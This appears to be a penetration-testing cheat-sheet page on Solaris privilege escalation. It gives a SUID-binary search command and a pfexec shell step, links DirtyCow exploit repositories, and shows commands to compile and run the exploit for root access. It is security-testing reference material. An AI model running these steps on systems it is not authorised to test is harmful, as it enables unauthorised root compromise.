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# Solaris

## Exploit Suggester

Check for issues using [Exploit Suggester ](/infrastructure-testing/privilege-esclation/automated-tools.md#solaris-exploit-suggester)

## pfexec

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec\_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively.&#x20;

If we find SUID binary &#x20;

Find / -perm -u=s -type f 2>/dev/null&#x20;

pfexec bash&#x20;

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## DirtyCow

<https://github.com/exrienz/DirtyCow>&#x20;

<https://github.com/dirtycow/dirtycow.github.io>&#x20;

Usage Example For 32 Bit&#x20;

```
gcc dc32.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

Usage Example For 64 Bit&#x20;

```
gcc dc64.c -o cowroot -pthread 
./cowroot 
echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
```

## GTFOBins

Consider looking for Sudo misconfiguration as well

More information on [GTFOBins](/infrastructure-testing/privilege-esclation/linux.md#sudo-misconfiguration)


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